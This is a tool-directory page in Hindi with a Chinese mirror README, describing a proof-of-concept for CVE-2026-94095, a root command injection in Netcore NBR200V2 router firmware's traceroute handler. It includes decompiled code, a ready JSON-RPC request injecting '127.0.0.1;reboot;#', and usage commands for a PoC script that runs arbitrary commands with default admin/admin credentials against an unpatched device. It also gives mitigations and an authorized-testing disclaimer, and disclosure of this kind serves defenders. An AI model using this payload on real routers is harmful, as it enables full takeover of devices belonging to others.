Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-94095 — CVE-2026-94095 के लिए PoC, Netcore NBR200V2 फर्मवेयर में ubus JSON-RPC के माध्यम से traceroute कमांड इंजेक्शन, जो अधिकृत परीक्षण के लिए root RCE को सक्षम बनाता है। | Kitploit
उपकरण/GitHubGitHub/hackspeak/cve-2026-94095
एम्बेडेड सिस्टम सुरक्षाIoT सुरक्षाभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगहार्डवेयर और IoT सुरक्षापेपर और शोध
GitHubhackspeak/cve-2026-94095

CVE-2026-94095

CVE-2026-94095 के लिए PoC, Netcore NBR200V2 फर्मवेयर में ubus JSON-RPC के माध्यम से traceroute कमांड इंजेक्शन, जो अधिकृत परीक्षण के लिए root RCE को सक्षम बनाता है।

रिपॉजिटरी देखें
17घं 39मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Netcore NBR200V2 - ट्रेसरूट डायग्नोस्टिक सुविधा में रिमोट कमांड इंजेक्शन (CVE-2026-94095)

फ़ील्डमान
विक्रेताNetcore
मॉडलNBR200V2
फ़र्मवेयर संस्करणV1.3.241127.071246
प्रभावित घटक/usr/bin/network_tools
भेद्यता प्रकारOS कमांड इंजेक्शन (CWE-74 / CWE-77)
CVSS 3.19.9 (गंभीर)
हमला वेक्टररिमोट (ubus JSON-RPC)
पूर्वापेक्षापहुँच योग्य ubus एंडपॉइंट + एक निम्न-विशेषाधिकार सत्र (sid)
विक्रेता स्थितिप्रारंभ में संपर्क किया गया; कोई प्रतिक्रिया नहीं; प्रकटीकरण के समय कोई पैच नहीं

विवरण

Netcore NBR200V2 फ़र्मवेयर V1.3.241127.071246 में ट्रेसरूट डायग्नोस्टिक सुविधा में एक रिमोट कमांड इंजेक्शन भेद्यता मौजूद है। ट्रेसरूट हैंडलर ubus JSON-RPC से हमलावर-नियंत्रित url मान स्वीकार करता है, उसे एक शेल कमांड में जोड़ता है, और परिणामी कमांड को निष्पादित करता है। एक रिमोट हमलावर इस दोष का उपयोग मनमाने शेल कमांड निष्पादित करने, डिवाइस को रीबूट करने, या पूर्ण सिस्टम समझौता प्राप्त करने के लिए कर सकता है।

भेद्यता श्रृंखला

रिमोट अनुरोध ubus JSON-RPC के रूप में स्वीकार किया जाता है:

root@kitploit:~
POST /ubus {"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"<attacker-controlled>","max_hop":1,"wanid":0}]}

ubus विधि मैपिंग अनुरोध को sub_401BD8 पर रूट करती है:

root@kitploit:~
object.name = "network_tools"; object.methods = 0x412f4c; "tools_traceroute" -> sub_401BD8

sub_401BD8 JSON-RPC डेटा को पार्स करता है और उसे tools_traceroute() को अग्रेषित करता है:

root@kitploit:~
blobmsg_parse(&off_412FA4, 4, &v21, a5 + 4, (v6 & 0xFFFFFF) - 4);
...
v25[0] = v18;              // action
v25[1] = v7;               // url
v25[2] = _bswapsi2(*v8);   // max_hop
...
result = tools_traceroute((int)v25);

tools_traceroute() अविश्वसनीय url मान का उपयोग करके एक शेल कमांड बनाता है:

root@kitploit:~
snprintf(
    v4, 0x100u,
    "(traceroute %s -m %d > %s && echo \"traceroute ending\" >> %s; touch %s)&",
    v2, *(_DWORD *)(a1 + 8), "/tmp/traceroute.txt", "/tmp/traceroute.txt", "/tmp/.tracroute_end");
system(v4);

यह भेद्यता ping समस्या के साथ संरचनात्मक रूप से समान है, लेकिन एक अलग सिंक और निष्पादन पथ तक पहुँचती है। चूँकि system() का उपयोग किया जाता है, ;, &&, और शेल टिप्पणियों जैसे कमांड विभाजक मान्य होते हैं। इसलिए डायग्नोस्टिक सुविधा एक सामान्य-प्रयोजन कमांड निष्पादन प्रिमिटिव बन जाती है।

प्रूफ ऑफ कॉन्सेप्ट

root@kitploit:~
POST /ubus
Content-Type: application/json

{"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"127.0.0.1;reboot;#","max_hop":1}]}

अपेक्षित प्रभाव: राउटर ट्रेसरूट कार्य को संसाधित करते समय reboot निष्पादित करता है। reboot के स्थान पर मनमाने शेल कमांड प्रतिस्थापित किए जा सकते हैं।

संबंधित भेद्यताएँ (समान बैच)

  • CVE-2026-94096 — LAN IP कॉन्फ़िगरेशन पथ (समान बाइनरी, समान पैटर्न)।
  • CVE-2026-94097 — CGI डायग्नोस्टिक एंडपॉइंट (CVSS 10.0)।

तीनों एक ही /usr/bin/network_tools तक पहुँचते हैं; इस बाइनरी में डायग्नोस्टिक फ़ंक्शन समान असुरक्षित पैटर्न साझा करते हैं, इसलिए केवल एक प्रवेश बिंदु को ठीक करना पर्याप्त नहीं है।

उपचार

प्रकटीकरण के समय कोई विक्रेता पैच नहीं। अंतरिम शमन:

  1. प्रबंधन इंटरफ़ेस को अविश्वसनीय नेटवर्क के लिए उजागर न करें; सभी WAN-साइड प्रबंधन मैपिंग हटाएँ;
  2. डिफ़ॉल्ट क्रेडेंशियल बदलें और मजबूत, रोटेटेड पासवर्ड लागू करें (ubus प्रमाणीकरण इस हमले की पूर्वापेक्षा है);
  3. फ़ायरवॉल के माध्यम से ubus / प्रबंधन एंडपॉइंट को एक समर्पित संचालन सबनेट तक सीमित करें;
  4. विक्रेता फ़र्मवेयर अपडेट को ट्रैक करें और CVE-2026-94095/94096/94097 के लिए समाधानों को एक साथ सत्यापित करें।

श्रेय

प्रकटीकरण उस स्वतंत्र शोधकर्ता द्वारा किया गया जिसने तकनीकी राइट-अप प्रकाशित किया और विक्रेता के साथ (असफलतापूर्वक) समन्वय किया।


分发镜像说明(中文)

本仓库为 CVE-2026-94095(Netcore NBR200V2 traceroute 命令注入) 漏洞 PoC 的中转分发镜像(英文技术披露见上方 CVE-2026-94095.md)。内容依据公开披露文档整理,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。

漏洞简述 / Vulnerability Summary

  • CVE-2026-94095(同批:CVE-2026-94096 / CVE-2026-94097)
  • 影响产品:Netcore NBR200V2 企业路由器,固件 V1.3.241127.071246
  • 受影响组件:/usr/bin/network_tools(traceroute 诊断功能)
  • 类型:OS 命令注入(CWE-74 / CWE-77)
  • CVSS 3.1:9.9(Critical);CVSS 4.0:8.6;CVSS 2.0:9.0
  • 攻击面:ubus JSON-RPC 端点(POST /ubus)
  • 前置条件:可访问 ubus 接口 + 一个低权限会话(sid);弱口令/默认口令会显著降低门槛
  • 修复状态:披露者提前联系厂商,厂商零回应,暂无官方补丁

核心原理:tools_traceroute() 用 snprintf 把攻击者可控的 url 参数拼进 shell 命令,再交给 system() 执行;url 未做任何过滤/转义,分号 ;、&&、管道、注释符 # 均有效——诊断功能因此变成通用命令执行原语。

目录结构 / Layout

root@kitploit:~
CVE-2026-94095.md   —— 公开披露整理(调用链、反编译片段、PoC 请求)
poc.py              —— 可用 PoC 脚本(ubus JSON-RPC 注入,纯标准库)

环境与用法 / Requirements & Usage

  • 目标:未修复的 Netcore NBR200V2(实验室设备);需可访问 POST /ubus 与一个有效 sid
  • 依赖:Python 3(纯标准库,零第三方依赖)
root@kitploit:~
# 已有 sid:
python3 poc.py --target http://192.168.1.1 --sid <SESSION_ID> --cmd "id"

# 用账号口令获取 sid(弱口令/默认口令场景):
python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "reboot"

⚠️ 命令会被拼接为 127.0.0.1;<命令>;# 注入 url 参数;reboot 会直接重启设备,请仅在授权/可销毁环境测试。

免责声明 / Disclaimer

本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以设备最高权限执行任意命令(默认运行于 root 上下文),请在可销毁的实验室环境中测试。

归属与许可 / Attribution & License

  • 漏洞由独立研究者公开披露并整理利用链;本仓库为其公开材料的镜像与 PoC 实现。
  • 分发仓库采用 MIT License(见 LICENSE)。

参考链接 / References

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-94095
  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-94095
  • 第三方分析(VulDB):https://vuldb.com/vuln/408024
टूल डाउनलोड करें